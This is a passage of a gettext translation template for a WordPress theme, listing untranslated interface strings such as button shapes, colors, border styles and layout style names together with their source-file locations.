msgid "Link"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:72
#: inc/builder/elements/pb_button_2/settings.php:72
#: inc/builder/elements/pb_button_3/settings.php:72
#: inc/builder/elements/pb_button_mobile/settings.php:72
#: inc/builder/elements/pb_button_mobile_2/settings.php:72
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:407
msgid "Creative"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:81
#: inc/builder/elements/pb_button_2/settings.php:81
#: inc/builder/elements/pb_button_3/settings.php:81
#: inc/builder/elements/pb_button_mobile/settings.php:81
#: inc/builder/elements/pb_button_mobile_2/settings.php:81
msgid "Button Shape"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:83
#: inc/builder/elements/pb_button_2/settings.php:83
#: inc/builder/elements/pb_button_3/settings.php:83
#: inc/builder/elements/pb_button_mobile/settings.php:83
#: inc/builder/elements/pb_button_mobile_2/settings.php:83
msgid "Retangle"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:84
#: inc/builder/elements/pb_button_2/settings.php:84
#: inc/builder/elements/pb_button_3/settings.php:84
#: inc/builder/elements/pb_button_mobile/settings.php:84
#: inc/builder/elements/pb_button_mobile_2/settings.php:84
#: inc/builder/elements/pb_social_icon/settings.php:81
#: inc/builder/elements/pb_social_icon_mobile/settings.php:81
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:216
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:66
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:144
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:298
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:106
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:248
#: inc/js_composer/shortcodes/info_box/settings.php:164
#: inc/js_composer/shortcodes/social_counter/settings.php:206
#: inc/widgets/social_counter.php:360
msgid "Circle"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:85
#: inc/builder/elements/pb_button_2/settings.php:85
#: inc/builder/elements/pb_button_3/settings.php:85
#: inc/builder/elements/pb_button_mobile/settings.php:85
#: inc/builder/elements/pb_button_mobile_2/settings.php:85
#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:20
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:105
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:250
#: inc/js_composer/shortcodes/social_counter/settings.php:205
#: inc/widgets/social_counter.php:359
msgid "Round"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:160
#: inc/builder/elements/pb_button_2/settings.php:163
#: inc/builder/elements/pb_button_3/settings.php:163
#: inc/builder/elements/pb_button_mobile/settings.php:163
#: inc/builder/elements/pb_button_mobile_2/settings.php:163
msgid "Font Style for Button Text"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:182
#: inc/builder/elements/pb_button_2/settings.php:188
#: inc/builder/elements/pb_button_3/settings.php:188
#: inc/builder/elements/pb_button_mobile/settings.php:188
#: inc/builder/elements/pb_button_mobile_2/settings.php:188
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1548
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:470
#: inc/elementor/modules/penci-button/widgets/penci-button.php:524
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1009
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:328
msgid "Borders Hover Color"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:190
#: inc/builder/elements/pb_button_2/settings.php:196
#: inc/builder/elements/pb_button_3/settings.php:196
#: inc/builder/elements/pb_button_mobile/settings.php:196
#: inc/builder/elements/pb_button_mobile_2/settings.php:196
#: inc/builder/elements/pb_hamburger_menu/settings.php:97
#: inc/builder/elements/pb_search_form/settings.php:23
#: inc/builder/elements/pb_search_form_sidebar/settings.php:22
#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:15
#: inc/customizer/config/sections/penci_section_spage_colors_section.php:39
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:365
#: inc/customizer/config/sections/pencidesign_general_colors_section.php:139
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:314
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:14
#: inc/elementor/base/base-widget.php:684
#: inc/elementor/base/base-widget.php:1401
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:216
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1325
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1557
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1722
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:822
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1018
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1170
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1123
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1160
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1275
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1312
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1461
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:870
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:664
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:793
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:236
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:563
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:923
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:251
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:994
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1041
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1154
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:234
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:351
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:443
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:470
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:188
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:974
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:424
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:102
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1000
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1158
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:291
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:299
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:372
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:436
#: inc/js_composer/inc/vc-params-helper.php:752
#: inc/js_composer/shortcodes/big_grid/settings.php:930
#: inc/js_composer/shortcodes/big_grid/settings.php:1155
#: inc/js_composer/shortcodes/big_grid/settings.php:1285
#: inc/js_composer/shortcodes/custom_sliders/settings.php:97
#: inc/js_composer/shortcodes/news_ticker/settings.php:170
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:548
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:175
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:122
#: inc/js_composer/shortcodes/social_counter/settings.php:307
#: inc/meta-box/register/page.php:494 inc/meta-box/register/page.php:530
#: inc/template-builder/archive-elements/posts.php:1108
#: inc/template-builder/archive-elements/posts.php:1177
#: inc/template-builder/archive-elements/posts.php:1322
#: inc/template-builder/single-elements/custom-field.php:251
#: inc/template-builder/single-elements/featured-overlay.php:426
#: inc/template-builder/single-elements/featured-overlay.php:470
#: inc/template-builder/single-elements/featured-overlay.php:514
#: inc/template-builder/single-elements/featured-overlay.php:559
#: inc/template-builder/single-elements/featured-overlay.php:604
#: inc/template-builder/single-elements/featured-overlay.php:649
#: inc/template-builder/single-elements/featured.php:94
#: inc/template-builder/single-elements/meta.php:278
#: inc/template-builder/single-elements/meta.php:322
#: inc/template-builder/single-elements/meta.php:366
#: inc/template-builder/single-elements/meta.php:411
#: inc/template-builder/single-elements/meta.php:456
#: inc/template-builder/single-elements/meta.php:501
#: inc/template-builder/single-elements/relatedpost.php:593
#: inc/woocommerce/modules/metaboxes.php:185
msgid "Background Color"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:199
#: inc/builder/elements/pb_button_2/settings.php:205
#: inc/builder/elements/pb_button_3/settings.php:205
#: inc/builder/elements/pb_button_mobile/settings.php:205
#: inc/builder/elements/pb_button_mobile_2/settings.php:205
#: inc/customizer/config/sections/pencidesign_general_colors_section.php:153
#: inc/elementor/base/base-widget.php:1426
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:223
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1000
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:303
#: inc/js_composer/shortcodes/big_grid/settings.php:1162
#: inc/js_composer/shortcodes/social_counter/settings.php:313
#: inc/template-builder/archive-elements/posts.php:1117
msgid "Background Hover Color"
msgstr ""

#: inc/builder/elements/pb_button_mobile/settings.php:168
#: inc/builder/elements/pb_button_mobile_2/settings.php:168
#: inc/builder/elements/pb_logo/settings.php:197
#: inc/builder/elements/pb_logo/settings.php:273
#: inc/builder/elements/pb_logo_mobile/settings.php:200
#: inc/builder/elements/pb_logo_mobile/settings.php:277
#: inc/builder/elements/pb_logo_sidebar/settings.php:201
#: inc/builder/elements/pb_logo_sidebar/settings.php:277
#: inc/builder/elements/pb_logo_sticky/settings.php:176
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:201
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:81
msgid "Italic"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:9
#: inc/builder/elements/pb_compare_icon/settings.php:9
#: inc/builder/elements/pb_wishlist_icon/settings.php:9
msgid "Cart Icon Button Pre-define Style"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:23
msgid "Cart Icon Color"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:31
msgid "Cart Icon Hover Color"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:39
#: inc/builder/elements/pb_compare_icon/settings.php:107
#: inc/builder/elements/pb_mobile_menu/settings.php:45
#: inc/builder/elements/pb_search_icon/settings.php:51
#: inc/builder/elements/pb_wishlist_icon/settings.php:107
msgid "Button Borders Style"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:43
#: inc/builder/elements/pb_compare_icon/settings.php:111
#: inc/builder/elements/pb_hamburger_menu/settings.php:69
#: inc/builder/elements/pb_mobile_menu/settings.php:49
#: inc/builder/elements/pb_search_icon/settings.php:55
#: inc/builder/elements/pb_wishlist_icon/settings.php:111
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:66
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:159
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:158
#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:166
#: inc/instagram/widget.php:196
#: inc/js_composer/shortcodes/count_down/settings.php:109
#: inc/js_composer/shortcodes/counter_up/settings.php:97
#: inc/js_composer/shortcodes/instagram/settings.php:119
#: inc/options/framework/fields/border/border.php:53
#: inc/options/framework/fields/typography/typography.php:216
#: inc/template-builder/single-elements/author.php:130
#: inc/template-builder/single-elements/postpagination.php:190
msgid "Dotted"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:44
#: inc/builder/elements/pb_compare_icon/settings.php:112
#: inc/builder/elements/pb_hamburger_menu/settings.php:70
#: inc/builder/elements/pb_mobile_menu/settings.php:50
#: inc/builder/elements/pb_search_icon/settings.php:56
#: inc/builder/elements/pb_wishlist_icon/settings.php:112
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:67
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:158
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:157
#: inc/js_composer/shortcodes/count_down/settings.php:108
#: inc/js_composer/shortcodes/counter_up/settings.php:96
#: inc/options/framework/fields/border/border.php:52
#: inc/options/framework/fields/typography/typography.php:217
#: inc/template-builder/single-elements/author.php:129
#: inc/template-builder/single-elements/postpagination.php:191
msgid "Dashed"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:45
#: inc/builder/elements/pb_compare_icon/settings.php:113
#: inc/builder/elements/pb_hamburger_menu/settings.php:71
#: inc/builder/elements/pb_mobile_menu/settings.php:51
#: inc/builder/elements/pb_search_icon/settings.php:57
#: inc/builder/elements/pb_wishlist_icon/settings.php:113
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:157
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:156
#: inc/js_composer/shortcodes/count_down/settings.php:107
#: inc/js_composer/shortcodes/counter_up/settings.php:95
#: inc/options/framework/fields/border/border.php:51
#: inc/options/framework/fields/typography/typography.php:214
#: inc/template-builder/single-elements/author.php:128
#: inc/template-builder/single-elements/postpagination.php:188
msgid "Solid"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:46
#: inc/builder/elements/pb_compare_icon/settings.php:114
#: inc/builder/elements/pb_hamburger_menu/settings.php:72
#: inc/builder/elements/pb_mobile_menu/settings.php:52
#: inc/builder/elements/pb_search_icon/settings.php:58
#: inc/builder/elements/pb_wishlist_icon/settings.php:114
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:68
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:69
#: inc/js_composer/shortcodes/count_down/settings.php:110
#: inc/js_composer/shortcodes/counter_up/settings.php:98
#: inc/options/framework/fields/border/border.php:54
#: inc/options/framework/fields/typography/typography.php:215
#: inc/template-builder/single-elements/postpagination.php:189
msgid "Double"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:55
msgid "Cart Icon Borders Color"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:63
msgid "Cart Icon Hover Borders Color"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:71
msgid "Cart Icon Background Color"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:79
msgid "Cart Icon Hover Background Color"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:87
#: inc/builder/elements/pb_compare_icon/settings.php:71
#: inc/builder/elements/pb_wishlist_icon/settings.php:71
msgid "Number Count Text Color"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:95
#: inc/builder/elements/pb_compare_icon/settings.php:79
#: inc/builder/elements/pb_wishlist_icon/settings.php:79
msgid "Number Count Text Background Color"
msgstr ""

#: inc/builder/elements/pb_cart_icon/settings.php:136
#: inc/builder/elements/pb_compare_icon/settings.php:86
#: inc/builder/elements/pb_wishlist_icon/settings.php:87
#: inc/elementor/base/base-widget.php:1333
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1480
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:815
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:541
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:232
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:212
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:274
#: inc/js_composer/inc/vc-params-helper.php:26
#: inc/js_composer/shortcodes/social_counter/settings.php:280
msgid "Icon Size"
msgstr ""

#: inc/builder/elements/pb_compare_icon/settings.php:23
msgid "Compare Icon Color"
msgstr ""

#: inc/builder/elements/pb_compare_icon/settings.php:31
msgid "Compare Icon Hover Color"
msgstr ""

#: inc/builder/elements/pb_compare_icon/settings.php:39
msgid "Compare Icon Borders Color"
msgstr ""

#: inc/builder/elements/pb_compare_icon/settings.php:47
msgid "Compare Icon Hover Borders Color"
msgstr ""

#: inc/builder/elements/pb_compare_icon/settings.php:55
msgid "Compare Icon Background Color"
msgstr ""

#: inc/builder/elements/pb_compare_icon/settings.php:63
msgid "Compare Icon Hover Background Color"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:6
msgid ""
"Please go to \"Appearance > Customize > Dark Mode/Dark Theme\": turn on the "
"\"Enable Dark Mode Switcher\" option before using this feature."
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:16
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:68
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:587
msgid "Button Style"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:18
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:56
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:11
#: inc/customizer/config/sections/penci_section_spost_general_section.php:10
#: inc/customizer/config/sections/penci_section_spost_general_section.php:445
#: inc/customizer/config/sections/penci_section_spost_general_section.php:460
#: inc/customizer/config/sections/penci_section_spost_general_section.php:476
#: inc/customizer/config/sections/penci_section_spost_general_section.php:492
#: inc/customizer/config/sections/penci_section_spost_general_section.php:508
#: inc/customizer/config/sections/penci_section_spost_general_section.php:524
#: inc/customizer/config/sections/penci_section_spost_general_section.php:560
#: inc/customizer/config/sections/penci_section_spost_general_section.php:724
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:24
#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:31
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:62
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:247
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:76
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:120
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:136
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:202
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:87
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:103
#: inc/elementor/base/base-widget.php:176
#: inc/elementor/base/base-widget.php:209
#: inc/elementor/base/base-widget.php:340
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:97
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:111
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:227
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:347
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:54
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:71
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:317
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:54
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:112
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:49
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:52
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:161
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:186
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:356
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:407
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:72
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:82
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:68
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:195
#: inc/gutenberg/block/featured-boxes/index.js:47
#: inc/js_composer/inc/vc-params-helper.php:132
#: inc/js_composer/inc/vc-params-helper.php:847
#: inc/js_composer/shortcodes/count_down/settings.php:23
#: inc/js_composer/shortcodes/counter_up/settings.php:22
#: inc/js_composer/shortcodes/counter_up/settings.php:198
#: inc/js_composer/shortcodes/social_counter/settings.php:182
#: inc/js_composer/shortcodes/testimonails/settings.php:38
#: inc/js_composer/shortcodes/video_playlist/settings.php:94
#: inc/modules/penci-menu-callback.php:140
#: inc/modules/penci-menu-callback.php:180
#: inc/template-builder/archive-elements/posts.php:111
#: inc/template-builder/single-elements/postpagination.php:45
#: inc/template-builder/single-elements/relatedpost.php:203
#: inc/widgets/categories_stylist.php:240 inc/widgets/social_counter.php:339
msgid "Style 1"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:19
#: inc/builder/elements/pb_news_ticker/settings.php:20
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:57
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:12
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:238
#: inc/customizer/config/sections/penci_section_spost_general_section.php:11
#: inc/customizer/config/sections/penci_section_spost_general_section.php:446
#: inc/customizer/config/sections/penci_section_spost_general_section.php:461
#: inc/customizer/config/sections/penci_section_spost_general_section.php:477
#: inc/customizer/config/sections/penci_section_spost_general_section.php:493
#: inc/customizer/config/sections/penci_section_spost_general_section.php:509
#: inc/customizer/config/sections/penci_section_spost_general_section.php:525
#: inc/customizer/config/sections/penci_section_spost_general_section.php:561
#: inc/customizer/config/sections/penci_section_spost_general_section.php:691
#: inc/customizer/config/sections/penci_section_spost_general_section.php:725
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:25
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:465
#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:32
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:63
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:248
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:161
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:77
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:121
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:137
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:203
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:88
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:104
#: inc/elementor/base/base-widget.php:177
#: inc/elementor/base/base-widget.php:210
#: inc/elementor/base/base-widget.php:341
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:98
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:112
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:228
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:348
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:55
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:72
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:318
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:55
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:113
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:50
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:53
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:162
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:187
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:357
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:408
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:73
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:83
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:69
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:196
#: inc/gutenberg/block/featured-boxes/index.js:48
#: inc/js_composer/inc/vc-params-helper.php:133
#: inc/js_composer/inc/vc-params-helper.php:848
#: inc/js_composer/shortcodes/count_down/settings.php:24
#: inc/js_composer/shortcodes/counter_up/settings.php:23
#: inc/js_composer/shortcodes/counter_up/settings.php:199
#: inc/js_composer/shortcodes/social_counter/settings.php:183
#: inc/js_composer/shortcodes/testimonails/settings.php:39
#: inc/js_composer/shortcodes/video_playlist/settings.php:95
#: inc/modules/penci-menu-callback.php:141
#: inc/modules/penci-menu-callback.php:181
#: inc/template-builder/archive-elements/posts.php:112
#: inc/template-builder/single-elements/postpagination.php:46
#: inc/template-builder/single-elements/relatedpost.php:204
#: inc/widgets/categories_stylist.php:241 inc/widgets/social_counter.php:340
msgid "Style 2"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:20
#: inc/builder/elements/pb_news_ticker/settings.php:21
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:58
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:13
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:239
#: inc/customizer/config/sections/penci_section_spost_general_section.php:12
#: inc/customizer/config/sections/penci_section_spost_general_section.php:447
#: inc/customizer/config/sections/penci_section_spost_general_section.php:462
#: inc/customizer/config/sections/penci_section_spost_general_section.php:478
#: inc/customizer/config/sections/penci_section_spost_general_section.php:494
#: inc/customizer/config/sections/penci_section_spost_general_section.php:510
#: inc/customizer/config/sections/penci_section_spost_general_section.php:526
#: inc/customizer/config/sections/penci_section_spost_general_section.php:562
#: inc/customizer/config/sections/penci_section_spost_general_section.php:692
#: inc/customizer/config/sections/penci_section_spost_general_section.php:726
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:26
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:466
#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:33
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:64
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:249
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:162
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:78
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:122
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:138
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:204
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:89
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:105
#: inc/elementor/base/base-widget.php:178
#: inc/elementor/base/base-widget.php:211
#: inc/elementor/base/base-widget.php:342
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:99
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:113
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:229
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:349
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:70
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:144
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:56
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:319
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:56
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:51
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:163
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:366
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:188
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:409
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:74
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:84
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:70
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:197
#: inc/gutenberg/block/featured-boxes/index.js:49
#: inc/js_composer/inc/vc-params-helper.php:134
#: inc/js_composer/inc/vc-params-helper.php:849
#: inc/js_composer/shortcodes/big_grid/settings.php:42
#: inc/js_composer/shortcodes/count_down/settings.php:25
#: inc/js_composer/shortcodes/counter_up/settings.php:200
#: inc/js_composer/shortcodes/social_counter/settings.php:184
#: inc/js_composer/shortcodes/testimonails/settings.php:40
#: inc/js_composer/shortcodes/video_playlist/settings.php:96
#: inc/modules/penci-menu-callback.php:142
#: inc/modules/penci-menu-callback.php:182
#: inc/template-builder/single-elements/postpagination.php:47
#: inc/template-builder/single-elements/relatedpost.php:205
#: inc/widgets/social_counter.php:341
msgid "Style 3"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:21
#: inc/builder/elements/pb_news_ticker/settings.php:22
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:59
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:14
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:240
#: inc/customizer/config/sections/penci_section_spost_general_section.php:13
#: inc/customizer/config/sections/penci_section_spost_general_section.php:448
#: inc/customizer/config/sections/penci_section_spost_general_section.php:463
#: inc/customizer/config/sections/penci_section_spost_general_section.php:479
#: inc/customizer/config/sections/penci_section_spost_general_section.php:495
#: inc/customizer/config/sections/penci_section_spost_general_section.php:511
#: inc/customizer/config/sections/penci_section_spost_general_section.php:527
#: inc/customizer/config/sections/penci_section_spost_general_section.php:693
#: inc/customizer/config/sections/penci_section_spost_general_section.php:727
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:27
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:467
#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:34
